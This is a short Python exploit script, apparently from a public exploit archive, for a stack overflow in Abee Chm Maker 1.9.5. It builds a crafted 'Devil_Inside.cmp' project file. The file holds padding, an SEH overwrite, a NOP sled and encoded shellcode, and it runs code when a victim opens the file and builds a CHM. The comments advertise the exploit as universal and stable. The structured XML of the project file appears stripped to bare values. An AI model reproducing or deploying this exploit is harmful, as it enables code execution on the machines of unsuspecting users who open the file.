# exploit.py # Abee Chm Maker 1.9.5 Stack overflow Exploit # By:Encrypt3d.M!nd # # After importing "Devil_inside.cmp" file into the program # go to File>>Make CHM.. Then...watch :) . # # i've used SEH overwrite method to make it more stable. # btw:it's universal so don't bother your self with finding addresses ;) # ns = "\xEB\x06\x90\x90" sh = "\x05\x67\x35\x45" shellcode = ( "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49" "\x49\x49\x37\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x61" "\x58\x30\x41\x31\x50\x41\x42\x6b\x42\x41\x71\x32\x42\x42\x42\x32" "\x41\x41\x30\x41\x41\x58\x38\x42\x42\x50\x75\x4d\x39\x69\x6c\x4d" "\x38\x43\x74\x35\x50\x53\x30\x77\x70\x4e\x6b\x53\x75\x77\x4c\x4c" "\x4b\x63\x4c\x54\x45\x34\x38\x67\x71\x5a\x4f\x6c\x4b\x62\x6f\x75" "\x48\x6e\x6b\x41\x4f\x47\x50\x33\x31\x58\x6b\x63\x79\x4e\x6b\x36" "\x54\x4c\x4b\x45\x51\x68\x6e\x34\x71\x59\x50\x4c\x59\x4c\x6c\x4f" "\x74\x6f\x30\x72\x54\x47\x77\x58\x41\x39\x5a\x34\x4d\x57\x71\x69" "\x52\x48\x6b\x69\x64\x67\x4b\x46\x34\x66\x44\x74\x44\x53\x45\x6b" "\x55\x4c\x4b\x43\x6f\x31\x34\x67\x71\x78\x6b\x63\x56\x4c\x4b\x54" "\x4c\x62\x6b\x6e\x6b\x31\x4f\x67\x6c\x37\x71\x78\x6b\x4c\x4b\x45" "\x4c\x4c\x4b\x73\x31\x4a\x4b\x6c\x49\x51\x4c\x74\x64\x67\x74\x6b" "\x73\x34\x71\x6f\x30\x42\x44\x6c\x4b\x71\x50\x34\x70\x4e\x65\x4f" "\x30\x62\x58\x46\x6c\x6c\x4b\x41\x50\x44\x4c\x4c\x4b\x42\x50\x65" "\x4c\x4e\x4d\x6e\x6b\x50\x68\x34\x48\x4a\x4b\x73\x39\x6e\x6b\x4b" "\x30\x4c\x70\x57\x70\x63\x30\x37\x70\x4e\x6b\x42\x48\x57\x4c\x51" "\x4f\x56\x51\x48\x76\x31\x70\x73\x66\x6e\x69\x59\x68\x4e\x63\x4f" "\x30\x73\x4b\x66\x30\x65\x38\x68\x70\x6d\x5a\x34\x44\x51\x4f\x30" "\x68\x4e\x78\x4b\x4e\x6c\x4a\x54\x4e\x32\x77\x79\x6f\x79\x77\x41" "\x73\x75\x31\x72\x4c\x41\x73\x57\x70\x61") header1 = ( '\n' 'Chm Maker project\n' '\n' ' \n' ' filename\n' ' 0\n' ' '+"\x41"*320+ns+sh+"\x90"*20+shellcode+"\x41" * 5000) header2 = ( '\n' ' \n' ' 1\n' '\n' '\n' ' 0\n' '\n' '\n' ' 1\n' ' 1\n' ' 0\n' ' 0\n' ' 1\n' ' 0\n' ' 32\n' ' 0\n' '\n' '\n' ' kkkkkkkkkkkkkkk\n' ' \n' ' 0\n' ' 0\n' ' 0\n' ' 0\n' ' 1\n' ' 1\n' ' 1\n' ' 0\n' ' 0\n' ' 1\n' ' 1\n' ' 0\n' ' 0\n' ' 0\n' ' \n' ' 0\n' ' \n' ' \n' ' 0\n' ' \n' ' \n' ' 1\n' ' \n' '\n' '\n' ) file=open('Devil_Inside.cmp','w') file.write(header1+header2) file.close()